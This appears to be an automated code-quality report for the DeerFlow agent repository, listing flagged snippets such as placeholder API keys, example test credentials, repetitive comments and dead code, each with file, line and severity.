LOW	backend/tests/test_setup_agent_http_e2e_real_server.py	73	monkeypatch.setenv("OPENAI_API_KEY", "sk-fake-key-not-used-because-llm-is-mocked")	CODE
LOW⚡	backend/docs/AUTH_TEST_PLAN.md	90	-d '{"email":"admin@example.com","password":"AdminPass1!"}' \	CODE
LOW⚡	backend/docs/AUTH_TEST_PLAN.md	96	- Body: `{"id": "...", "email": "admin@example.com", "system_role": "admin", "needs_setup": false}`	CODE
LOW⚡	backend/docs/AUTH_TEST_PLAN.md	105	预期： `{"id": "...", "email": "admin@example.com", "system_role": "admin", "needs_setup": false}`	CODE
LOW	backend/docs/AUTH_TEST_PLAN.md	356	-H "X-CSRF-Token: fake-token" \	CODE
LOW	backend/docs/AUTH_TEST_PLAN.md	688	-d '{"email":"admin@example.com","password":"AdminPass1!"}' \	CODE
LOW	backend/docs/AUTH_TEST_PLAN.md	1541	-d '{"email":"admin@example.com","password":"AdminPass1!"}' \	CODE
LOW⚡	…eerflow/agents/middlewares/clarification_middleware.py	257	placeholder = entry.get("placeholder")	CODE
LOW⚡	…eerflow/agents/middlewares/clarification_middleware.py	261	field["placeholder"] = placeholder.strip()	CODE
LOW	…ages/harness/deerflow/skills/skillscan/orchestrator.py	113	_PLACEHOLDER_VALUES = {"", "x", "xx", "xxx", "xxxx", "changeme", "change-me", "example", "placeholder", "test", "dummy",	CODE
LOW⚡	…rness/deerflow/community/browser_automation/session.py	67	el.getAttribute("placeholder") \|\| el.innerText \|\| el.value \|\| "").trim();	CODE

Hallucination Indicators4 hits · 40 pts

Severity	File	Line	Snippet	Context
CRITICAL	backend/app/channels/feishu.py	341	return self._api_client.im.v1.image.create(request)	CODE
CRITICAL	backend/app/channels/feishu.py	353	return self._api_client.im.v1.file.create(request)	CODE
CRITICAL	backend/app/channels/feishu.py	419	return self._api_client.im.v1.message_resource.get(request)	CODE
CRITICAL	backend/tests/test_tui_transparent.py	48	assert app.screen.styles.background.hex.lower() == THEME.bg	CODE

Redundant / Tautological Comments24 hits · 35 pts

Severity	File	Line	Snippet	Context
LOW⚡	config.example.yaml	1705	# Set false to disable the new deterministic analyzers (nested-archive,	COMMENT
LOW	…reads/ad76c455-5bf9-4335-8517-fc03834ab828/thread.json	123	"content": "import pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport seaborn as sn	CODE
LOW	backend/app/gateway/routers/artifacts.py	392	# Check if this is a request for a file inside a .skill archive (e.g., xxx.skill/SKILL.md)	COMMENT
LOW	backend/app/channels/discord.py	525	# Check if there's an active thread for this channel	COMMENT
LOW	backend/tests/test_infoquest_client.py	99	# Check if result is a valid JSON string with expected content	COMMENT
LOW	backend/tests/test_infoquest_client.py	278	# Check if result is a valid JSON string with expected content	COMMENT
LOW	backend/tests/test_infoquest_client.py	326	# Check if result is a valid JSON string	COMMENT
LOW	…/packages/harness/deerflow/tools/builtins/task_tool.py	540	# Check if task completed, failed, or timed out	COMMENT
LOW	…s/deerflow/agents/middlewares/view_image_middleware.py	116	# Check if all tool calls have been completed	COMMENT
LOW	…s/deerflow/agents/middlewares/view_image_middleware.py	210	# Check if it has view_image tool calls	COMMENT
LOW	…s/deerflow/agents/middlewares/view_image_middleware.py	214	# Check if all tools have been completed	COMMENT
LOW	…arness/deerflow/agents/middlewares/title_middleware.py	118	# Check if thread already has a title in state	COMMENT
LOW	…arness/deerflow/agents/middlewares/title_middleware.py	122	# Check if this is the first turn (has at least one user message and one assistant response).	COMMENT
LOW	…eerflow/agents/middlewares/clarification_middleware.py	564	# Check if this is an ask_clarification tool call	COMMENT
LOW	…eerflow/agents/middlewares/clarification_middleware.py	589	# Check if this is an ask_clarification tool call	COMMENT
LOW	backend/packages/harness/deerflow/mcp/cache.py	157	# Check if cache is stale due to config file changes	COMMENT
LOW	backend/packages/harness/deerflow/sandbox/tools.py	531	# Check if args has server-filesystem package	COMMENT
LOW	backend/packages/harness/deerflow/sandbox/tools.py	1398	# Check if sandbox already exists in state	COMMENT
LOW	backend/packages/harness/deerflow/sandbox/tools.py	1537	# Check if directories have already been created	COMMENT
LOW	…rness/deerflow/community/infoquest/infoquest_client.py	68	# Check if status code is not 200	COMMENT
LOW	scripts/detect_uv_extras.py	199	# Check if we're at the parent's child level (subsection)	COMMENT
LOW	skills/public/skill-creator/scripts/init_skill.py	208	# Check if directory already exists	COMMENT
LOW	skills/public/vercel-deploy-claimable/scripts/deploy.sh	175	# Check if input is a .tgz file or a directory	COMMENT
LOW	skills/public/vercel-deploy-claimable/scripts/deploy.sh	191	# Check if this is a static HTML project (no package.json)	COMMENT

Synthetic Comment Markers7 hits · 35 pts

Severity	File	Line	Snippet	Context
HIGH	…reads/7cfa5f8f-a2f8-47ad-acbd-da7137baf990/thread.json	550	"content": "---\nname: frontend-design\ndescription: Create distinctive, production-grade frontend interfaces wi	CODE
HIGH	…reads/b83fbb2a-4e36-4d82-9de0-7b2a02c2092a/thread.json	53	"content": "---\nname: frontend-design\ndescription: Create distinctive, production-grade frontend interfaces wi	CODE
HIGH	…reads/f4125791-0128-402a-8ca9-50e0947557e4/thread.json	52	"content": "---\nname: frontend-design\ndescription: Create distinctive, production-grade frontend interfaces wi	CODE
HIGH	…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json	1637	"content": "---\nname: frontend-design\ndescription: Create distinctive, production-grade frontend interfaces wi	CODE
HIGH	…reads/5aa47db1-d0cb-4eb9-aea5-3dac1b371c5a/thread.json	204	"content": "---\nname: frontend-design\ndescription: Create distinctive, production-grade frontend interfaces wi	CODE
HIGH	…reads/7f9dc56c-e49c-4671-a3d2-c492ff4dce0c/thread.json	847	"content": "# The Leica Master's Eye: Capturing the Decisive Moment in the Age of AI\n\n*By DeerFlow 2.0 \|	CODE
HIGH	…reads/c02bb4d5-4202-490e-ae8f-ff4864fc0d2e/thread.json	52	"content": "---\nname: frontend-design\ndescription: Create distinctive, production-grade frontend interfaces wi	CODE

AI Structural Patterns32 hits · 27 pts

Severity	File	Line	Context
LOW	backend/app/channels/manager.py	985	CODE
LOW	backend/tests/test_summarize_checkpoint_production.py	25	CODE
LOW	backend/tests/test_dingtalk_channel.py	48	CODE
LOW	backend/tests/test_authorization_provider.py	206	CODE
LOW	backend/tests/test_model_factory.py	28	CODE
LOW	backend/tests/test_memory_tools.py	30	CODE
LOW	backend/packages/harness/deerflow/client.py	164	CODE
LOW	backend/packages/harness/deerflow/subagents/executor.py	449	CODE
LOW	backend/packages/harness/deerflow/runtime/goal.py	270	CODE
LOW	…kend/packages/harness/deerflow/runtime/runs/manager.py	1424	CODE
LOW	…kend/packages/harness/deerflow/runtime/runs/manager.py	1496	CODE
LOW	…packages/harness/deerflow/runtime/runs/store/memory.py	35	CODE
LOW	…packages/harness/deerflow/runtime/runs/store/memory.py	391	CODE
LOW	…d/packages/harness/deerflow/runtime/runs/store/base.py	54	CODE
LOW	…d/packages/harness/deerflow/runtime/runs/store/base.py	174	CODE
LOW	…d/packages/harness/deerflow/runtime/runs/store/base.py	200	CODE
LOW	…d/packages/harness/deerflow/runtime/runs/store/base.py	334	CODE
LOW	…d/packages/harness/deerflow/runtime/runs/store/base.py	384	CODE
LOW	backend/packages/harness/deerflow/agents/factory.py	66	CODE
LOW	…gents/memory/backends/deermem/deermem/core/eviction.py	157	CODE
LOW	…w/agents/middlewares/tool_error_handling_middleware.py	325	CODE
LOW	…d/packages/harness/deerflow/agents/lead_agent/agent.py	457	CODE
LOW	…/packages/harness/deerflow/agents/lead_agent/prompt.py	1021	CODE
LOW	…arness/deerflow/persistence/channel_connections/sql.py	110	CODE
LOW	…ckend/packages/harness/deerflow/persistence/run/sql.py	92	CODE
LOW	…ckend/packages/harness/deerflow/persistence/run/sql.py	328	CODE
LOW	…ckend/packages/harness/deerflow/persistence/run/sql.py	387	CODE
LOW	…ckend/packages/harness/deerflow/persistence/run/sql.py	677	CODE
LOW	…s/deerflow/community/browserless/browserless_client.py	176	CODE
LOW	…kages/harness/deerflow/community/image_search/tools.py	15	CODE
LOW	scripts/wizard/writer.py	176	CODE
LOW	scripts/wizard/writer.py	258	CODE

Dead Code13 hits · 22 pts

Severity	File	Line	Context
MEDIUM	backend/tests/test_subagent_executor.py	2761	CODE
MEDIUM	backend/tests/test_subagent_executor.py	1366	CODE
MEDIUM	backend/tests/test_artifacts_router.py	316	CODE
MEDIUM	backend/tests/test_run_worker_delivery.py	505	CODE
MEDIUM	backend/tests/test_extension_task_lifecycle.py	199	CODE
MEDIUM	backend/tests/test_extension_task_lifecycle.py	303	CODE
MEDIUM	backend/tests/test_run_worker_rollback.py	937	CODE
MEDIUM	backend/tests/test_run_worker_rollback.py	1010	CODE
MEDIUM	backend/tests/test_worker_langfuse_metadata.py	41	CODE
MEDIUM	backend/tests/test_channels.py	2237	CODE
MEDIUM	backend/tests/test_threads_router.py	491	CODE
MEDIUM	backend/tests/test_threads_router.py	521	CODE
MEDIUM	backend/tests/test_gateway_run_drain_shutdown.py	264	CODE

Magic Placeholder Names3 hits · 15 pts

Severity	File	Line	Snippet	Context
HIGH	backend/README.md	193	export OPENAI_API_KEY="your-api-key-here"	CODE
HIGH	backend/CONTRIBUTING.md	52	export OPENAI_API_KEY="your-api-key"	CODE
HIGH	backend/README_zh.md	192	export OPENAI_API_KEY="your-api-key-here"	CODE

Example Usage Blocks7 hits · 10 pts

Severity	File	Line	Snippet	Context
LOW	scripts/check_chart_sandbox_service.sh	17	# Usage:	COMMENT
LOW	scripts/bump_version.sh	4	# Usage:	COMMENT
LOW	scripts/check_config_version.sh	12	# Usage:	COMMENT
LOW	scripts/verify_versions.sh	9	# Usage:	COMMENT
LOW	scripts/serve.sh	5	# Usage:	COMMENT
LOW	skills/public/claude-to-deerflow/scripts/chat.sh	4	# Usage:	COMMENT
LOW	skills/public/claude-to-deerflow/scripts/status.sh	4	# Usage:	COMMENT

Overly Generic Function Names10 hits · 8 pts

Severity	File	Line	Snippet	Context
LOW	backend/tests/test_subagent_executor.py	1970	def execute_task(task_id: int):	CODE
LOW	backend/tests/test_detect_blocking_io_static.py	799	def helper(x=time.sleep(1)):	CODE
LOW	backend/tests/test_detect_blocking_io_static.py	1010	def helper(x: os.listdir(".")) -> os.listdir("."):	CODE
LOW	backend/tests/test_detect_blocking_io_static.py	1032	def helper(callback=lambda: os.listdir(".")):	CODE
LOW	backend/tests/test_detect_blocking_io_static.py	1054	def helper(callback=lambda flag=os.listdir("."): flag):	CODE
LOW	backend/tests/test_detect_blocking_io_static.py	1081	def helper(items=(os.listdir(x) for x in [1])):	CODE
LOW	backend/tests/test_detect_blocking_io_static.py	1103	def helper(items=(x for x in os.listdir("."))):	CODE
LOW	backend/tests/test_detect_blocking_io_static.py	1286	def helper(flag=(lambda: os.listdir("."))()):	CODE
LOW	backend/tests/test_detect_blocking_io_static.py	218	def helper():	STRING
LOW	backend/tests/test_review_changed_public_skills.py	165	(skill_dir / "scripts" / "helper.py").write_text("def helper():\n return 1\n", encoding="utf-8")	CODE

Slop Phrases2 hits · 4 pts

Severity	File	Line	Snippet	Context
LOW⚡	…reads/d3e5adaf-084c-4dd5-9d29-94f1d6bccd98/thread.json	53	"content": "# Tips For Technical Startup Founders \| Startup School\n\n# Tips For Technical Startup Founders \| St	CODE
MEDIUM⚡	…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json	313	"content": "# 🦌 DeerFlow\n\n[![Python 3.12+](https://img.shields.io/badge/python-3.12+-blue.svg)](https://www.py	CODE

Analysis Overview

What These Metrics Mean

Score History

Severity Breakdown

Directory Score Breakdown

Pattern Findings